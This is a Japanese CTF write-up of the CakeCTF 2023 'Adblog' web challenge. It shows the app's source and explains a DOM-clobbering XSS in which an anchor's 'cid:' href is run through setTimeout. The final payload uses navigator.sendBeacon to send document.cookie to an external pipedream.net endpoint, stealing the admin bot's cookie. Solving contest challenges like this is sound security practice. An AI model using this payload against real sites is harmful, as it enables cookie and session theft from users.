[web] Adblog (CakeCTF 2023) writeup

---

- Source: CakeCTF 2023
- Author: [ptr-yudai](https://x.com/ptrYudai)

---

自由に投稿できるブログサービス。
![{72F0D512-99FE-4B74-AF8A-36D886E3DB53}.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2982709/281ae1f0-d42d-f45e-0dfc-7588f063c7bf.png)

他にもファイルはあるが、一部だけ。例によってadmin botのcookieを窃取できれば良い。

<details><summary>app.py</summary>

```py
import base64
import flask
import json
import os
import re
import redis

REDIS_HOST = os.getenv("REDIS_HOST", "redis")
REDIS_PORT = int(os.getenv("REDIS_PORT", "6379"))

app = flask.Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
    if flask.request.method == 'GET':
        return flask.render_template("index.html")

    blog_id = os.urandom(32).hex()
    title = flask.request.form.get('title', 'untitled')
    content = flask.request.form.get('content', '<i>empty post</i>')
    if len(title) > 128 or len(content) > 1024*1024:
        return flask.render_template("index.html",
                                     msg="Too long title or content.")

    db().set(blog_id, json.dumps({'title': title, 'content': content}))
    return flask.redirect(f"/blog/{blog_id}")

@app.route('/blog/<blog_id>')
def blog(blog_id):
    if not re.match("^[0-9a-f]{64}$", blog_id):
        return flask.redirect("/")

    blog = db().get(blog_id)
    if blog is None:
        return flask.redirect("/")

    blog = json.loads(blog)
    title = blog['title']
    content = base64.b64encode(blog['content'].encode()).decode()
    return flask.render_template("blog.html", title=title, content=content)


def db():
    if getattr(flask.g, '_redis', None) is None:
        flask.g._redis = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=0)
    return flask.g._redis

if __name__ == '__main__':
    app.run()
```

</details>

<details><summary>blog.html</summary>

```html
<!DOCTYPE html>
<html>
  <head>
    <title>{{ title }} - AdBlog</title>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.0.6/purify.min.js"></script>
    <link rel="stylesheet" href="/static/css/simple-v1.min.css">
    <link rel="stylesheet" href="/static/css/ad-style.css">
  </head>
  <body>
    <div id="ad-overlay" class="overlay">
      <div class="overlay-content">
        <h3>AdBlock Detected</h3>
        <p>
          The revenue earned from advertising enables us to provide the quality content you're trying to reach on this blog. In order to view the post, we request that you disable adblock in plugin settings.
        </p>
        <button onclick="location.reload();">I have disabld AdBlock</button>
      </div>
    </div>
    <div>
      <!-- Blog -->
      <h1>{{ title }}</h1>
      <div id="content" style="margin: 1em;"></div>
      <hr>
      <!-- Ad -->
      <p style="text-align: center;"><small>Ad by AdBlog</small></p>
      <div id="ad" style="display: none;">
           <div style="margin: 0 auto;text-align:center;overflow:hidden;border-radius:0px;-webkit-box-shadow: 16px 17px 18px -7px rgba(18,1,18,0.61);-moz-box-shadow: 16px 17px 18px -7px rgba(18,1,18,0.61);box-shadow: 16px 17px 18px -7px rgba(18,1,18,0.61);background:#fff2d2;border:1px solid #000000;padding:1px;max-width:calc(100% - 16px);width:640px">
	         <div class="imgAnim927"  style="display: inline-block;position:relative;vertical-align: middle;padding:8px">
		       <img src="https://2023.cakectf.com/neko.png" style="max-width:100%;width:60px"/>
	         </div>
	         <div class="titleAnim927"  style="display:inline-block;text-shadow:#9a9996 4px 4px 4px;position:relative;vertical-align: middle;padding:8px;font-size:32px;color:#241f31;font-weight:bold">CakeCTF 2023</div>
	         <div  style="display:inline-block;text-shadow:#9a9996 4px 4px 4px;position:relative;vertical-align: middle;padding:8px;font-size:20px;color:#241f31;font-weight:normal">is taking place!</div>
	         <div class="btnAnim927"  style="display:inline-block;position:relative;vertical-align: middle;padding:16px" >
		       <a target="_blank" href="https://2023.cakectf.com/"><input type="button" value="Play Now" style="margin:0px;background:#f5c211;padding:4px;border:2px solid #c01c28;color:#c01c28;border-radius:0px;cursor:pointer;width:80px" /></a></div>
           </div>
      </div>
    </div>
    <script src="/static/js/ads.js"></script>
    <script>
     let content = DOMPurify.sanitize(atob("{{ content }}"));
     document.getElementById("content").innerHTML = content;

     window.onload = async () => {
       if (await detectAdBlock()) {
         showOverlay = () => {
           document.getElementById("ad-overlay").style.width = "100%";
         };
       }

       if (typeof showOverlay === 'undefined') {
         document.getElementById("ad").style.display = "block";
       } else {
         setTimeout(showOverlay, 1000);
       }
     }
    </script>
  </body>
</html>
```

</details>

投稿したデータを展開する実装を見てみる。
```js
 let content = DOMPurify.sanitize(atob("{{ content }}"));
 document.getElementById("content").innerHTML = content;

 window.onload = async () => {
   if (await detectAdBlock()) {
     showOverlay = () => {
       document.getElementById("ad-overlay").style.width = "100%";
     };
   }

   if (typeof showOverlay === 'undefined') {
     document.getElementById("ad").style.display = "block";
   } else {
     setTimeout(showOverlay, 1000);
   }
 }
```

`content`はbase64エンコードしたものがバックエンドから返されており、デコードしてさらにDomPurifyに通している。単純なXSSは厳しそう。

明らかに怪しいAdBlock機能を読む。`detectAdBlock`の実装はこうなっている。
```js
const ADS_URL = 'https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js';

async function detectAdBlock(callback) {
    try {
        let res = await fetch(ADS_URL, { method: 'HEAD' });
        return res.status !== 200;
    } catch {
        return true;
    }
}
```

GoogleAdsから200以外が返ってきたら広告がブロックされていると判断する実装らしい。

もう一度この実装を見ると、`showOverlay`がグローバル変数になっており、`detectAdBlock`がtrueの時だけ値をセットしてから別のブロックで改めて処理を走らせている。
```js
   if (await detectAdBlock()) {
     showOverlay = () => {
       document.getElementById("ad-overlay").style.width = "100%";
     };
   }

   if (typeof showOverlay === 'undefined') {
     document.getElementById("ad").style.display = "block";
   } else {
     setTimeout(showOverlay, 1000);
   }
```

`setTimeout`は第一引数に与えられた文字列をjsとして実行するので、`detectAdBlock`がfalseの状態で任意の文字列を返す`showOverlay`を作ることができればXSSが可能。

とりあえず、`<div id="showOverlay">`のようなタグを作成してあげればDom Clobberringによって`showOverlay`と解釈させることができる。

`<a>`タグはhrefの値を返すので、`<a href="alert(1)" id="showOverlay">a</a>`のような感じでXSSを発火させることができそう。と思ったが、絶対URLに変換されて`http://localhost:8001/alert(1)`となってしまい、これだと`http://`以降の文字列がコメントアウトされてしまう。

調べていると、詳しい仕様は分からないが`cid`を使えばURLが変換されず、文字列をそのまま実行できることが分かった。`<a href="cid:alert(1)" id="showOverlay">a</a>`でXSSが発火する。

payloadを作成する。
```html
<a href="cid:navigator.sendBeacon('https://xxxxxxxx.m.pipedream.net', document.cookie)" id="showOverlay">a</a>
```

このblogのidをbotに投げるとflagが飛んできた。
`CakeCTF{setTimeout_3v4lu4t3s_str1ng_4s_a_j4va5cr1pt_c0de}`